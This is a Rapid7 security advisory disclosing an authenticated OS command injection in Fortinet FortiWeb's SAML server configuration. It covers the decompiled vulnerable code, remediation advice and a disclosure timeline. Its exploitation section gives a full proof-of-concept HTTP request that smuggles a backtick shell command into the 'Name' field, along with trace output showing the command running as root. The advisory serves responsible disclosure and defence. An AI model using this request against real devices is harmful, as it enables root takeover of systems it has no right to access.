# Fortinet FortiWeb OS Command Injection
* Aug 17, 2021
* 5 min read
An OS command injection vulnerability in FortiWeb's management interface
(version 6.3.11 and prior) can allow a remote, authenticated attacker to
execute arbitrary commands on the system, via the SAML server configuration
page. This is an instance of [ CWE-78: Improper Neutralization of Special
Elements used in an OS Command ('OS Command
Injection')](https://cwe.mitre.org/data/definitions/78.html) and has a CVSSv3
base score of [8.7](https://nvd.nist.gov/vuln-
metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N&version=3.1).
This vulnerability appears to be related to CVE-2021-22123, which was
addressed in [FG-IR-20-120](https://www.fortiguard.com/psirt/FG-IR-20-120).
## Product Description
Fortinet FortiWeb is a web application firewall (WAF), designed to catch both
known and unknown exploits targeting the protected web applications before
they have a chance to execute. More about FortiWeb can be found at [the
vendor's website](https://www.fortinet.com/products/web-application-
firewall/fortiweb).
## Credit
This issue was discovered by researcher [William
Vu](https://twitter.com/wvuuuuuuuuuuuuu) of Rapid7. It is being disclosed in
accordance with Rapid7's [vulnerability disclosure
policy](https://www.rapid7.com/disclosure/).
## Exploitation
An attacker, who is first authenticated to the management interface of the
FortiWeb device, can smuggle commands using backticks in the "Name" field of
the SAML Server configuration page. These commands are then executed as the
root user of the underlying operating system. The affected code is noted
below:
```
int move_metafile(char *path,char *name)
{
int iVar1;
char buf [512];
int nret;
snprintf(buf,0x200,"%s/%s","/data/etc/saml/shibboleth/service_providers",name);
iVar1 = access(buf,0);
if (iVar1 != 0) {
snprintf(buf,0x200,"mkdir %s/%s","/data/etc/saml/shibboleth/service_providers",name);
iVar1 = system(buf);
if (iVar1 != 0) {
return iVar1;
}
}
snprintf(buf,0x200,"cp %s %s/%s/%s.%s",path,"/data/etc/saml/shibboleth/service_providers",name,
"Metadata",&DAT_00212758);
iVar1 = system(buf);
return iVar1;
}
```
The HTTP POST request and response below demonstrates an example exploit of this vulnerability:
```
POST /api/v2.0/user/remoteserver.saml HTTP/1.1
Host: [redacted]
Cookie: [redacted]
User-Agent: [redacted]
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://[redacted]/root/user/remote-user/saml-user/
X-Csrftoken: 814940160
Content-Type: multipart/form-data; boundary=---------------------------94351131111899571381631694412
Content-Length: 3068
Origin: https://[redacted]
Dnt: 1
Te: trailers
Connection: close
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="q_type"
1
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="name"
`touch /tmp/vulnerable`
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="entityID"
test
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="service-path"
/saml.sso
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="session-lifetime"
8
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="session-timeout"
30
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="sso-bind"
post
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="sso-bind_val"
1
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="sso-path"
/SAML2/POST
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="slo-bind"
post
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="slo-bind_val"
1
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="slo-path"
/SLO/POST
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="flag"
0
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="enforce-signing"
disable
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="enforce-signing_val"
0
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="metafile"; filename="test.xml"
Content-Type: text/xml
<?xml version="1.0"?>
<md:EntityDescriptor xmlns:md="urn:oasis:names:tc:SAML:2.0:metadata" validUntil="2021-06-12T16:54:31Z" cacheDuration="PT1623948871S" entityID="test">
<md:IDPSSODescriptor WantAuthnRequestsSigned="false" protocolSupportEnumeration="urn:oasis:names:tc:SAML:2.0:protocol">
<md:KeyDescriptor use="signing">
<ds:KeyInfo xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:X509Data>
<ds:X509Certificate>test</ds:X509Certificate>
</ds:X509Data>
</ds:KeyInfo>
</md:KeyDescriptor>
<md:KeyDescriptor use="encryption">
<ds:KeyInfo xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:X509Data>
<ds:X509Certificate>test</ds:X509Certificate>
</ds:X509Data>
</ds:KeyInfo>
</md:KeyDescriptor>
<md:NameIDFormat>urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified</md:NameIDFormat>
<md:SingleSignOnService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect" Location="test"/>
</md:IDPSSODescriptor>
</md:EntityDescriptor>
-----------------------------94351131111899571381631694412--
HTTP/1.1 500 Internal Server Error
Date: Thu, 10 Jun 2021 11:59:45 GMT
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Set-Cookie: [redacted]
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Content-Security-Policy: frame-ancestors 'self'
X-Content-Type-Options: nosniff
Content-Length: 20
Strict-Transport-Security: max-age=63072000
Connection: close
Content-Type: application/json
{"errcode": "-651"}
```
Note the smuggled 'touch' command is concatenated in the mkdir shell command:
```
[pid 12867] execve("/migadmin/cgi-bin/fwbcgi", ["/migadmin/cgi-bin/fwbcgi"], 0x55bb0395bf00 /* 42 vars */) = 0
[pid 13934] execve("/bin/sh", ["sh", "-c", "mkdir /data/etc/saml/shibboleth/service_providers/`touch /tmp/vulnerable`"], 0x7fff56b1c608 /* 42 vars */) = 0
[pid 13935] execve("/bin/touch", ["touch", "/tmp/vulnerable"], 0x55774aa30bf8 /* 44 vars */) = 0
[pid 13936] execve("/bin/mkdir", ["mkdir", "/data/etc/saml/shibboleth/service_providers/"], 0x55774aa30be8 /* 44 vars */) = 0
```
Finally, the results of the 'touch' command can be seen on the local command
line of the FortiWeb device:
```
/# ls -l /tmp/vulnerable
-rw-r--r-- 1 root 0 0 Jun 10 11:59 /tmp/vulnerable
/#
```
## Impact
An attacker can leverage this vulnerability to take complete control of the
affected device, with the highest possible privileges. They might install a
persistent shell, crypto mining software, or other malicious software. In the
unlikely event the management interface is exposed to the internet, they could
use the compromised platform to reach into the affected network beyond the
DMZ. Note, though, Rapid7 researchers were only able to identify less than
three hundred total of these devices that appear to be exposing their
management interfaces to the general internet.
Note that while authentication is a prerequisite for this exploit, this
vulnerability could be combined with another authentication bypass issue, such
as [CVE-2020-29015](https://attackerkb.com/topics/n8OdPI11Nx/cve-2020-29015).
## Remediation
In the absence of a patch, users are advised to disable the FortiWeb device's
management interface from untrusted networks, which would include the
internet. Generally speaking, management interfaces for devices like FortiWeb
should not be exposed directly to the internet anyway -- instead, they should
be reachable only via trusted, internal networks, or over a secure VPN
connection.
## Disclosure Timeline
* June, 2021: Issue discovered and validated by William Vu of Rapid7
* Thu, Jun 10, 2021: Initial disclosure to the vendor via their [PSIRT Contact Form](https://www.fortiguard.com/faq/psirt-contact)
* Fri, Jun 11, 2021: Acknowledged by the vendor (ticket 132097)
* Wed, Aug 11, 2021: Follow up with the vendor
* Tue, Aug 17, 2021: Public disclosure via [this post](https://www.rapid7.com/blog/post/2021/08/17/fortinet-fortiweb-os-command-injection/)
* Tue, Aug 17, 2021: Vendor indicated that Fortiweb 6.4.1 is expected to include a fix, and will be released at the end of August
暂无评论